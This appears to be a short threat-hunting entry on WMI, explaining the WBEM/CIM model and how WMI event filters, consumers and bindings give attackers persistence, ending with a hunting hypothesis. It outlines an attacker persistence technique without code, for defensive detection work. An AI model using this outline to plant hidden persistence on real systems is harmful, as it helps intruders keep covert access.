Technical Description¶
WMI is the Microsoft implementation of the Web-Based Enterprise Management (WBEM) and Common Information Model (CIM). Both standards aim to provide an industry-agnostic means of collecting and transmitting information related to any managed component in an enterprise. An example of a managed component in WMI would be a running process, registry key, installed service, file information, etc. At a high level, Microsoft’s implementation of these standards can be summarized as follows > Managed Components Managed components are represented as WMI objects — class instances representing highly structured operating system data. Microsoft provides a wealth of WMI objects that communicate information related to the operating system. E.g. Win32_Process, Win32_Service, AntiVirusProduct, Win32_StartupCommand, etc.
From an offensive perspective WMI has the ability to trigger off nearly any conceivable event, making it a good technique for persistence.
Three requirements
Filter – An action to trigger off of
Consumer – An action to take upon triggering the filter
Binding – Registers a FilterConsumer
Hypothesis¶
Adversaries might be leveraging WMI eventing for persistence in my environment.
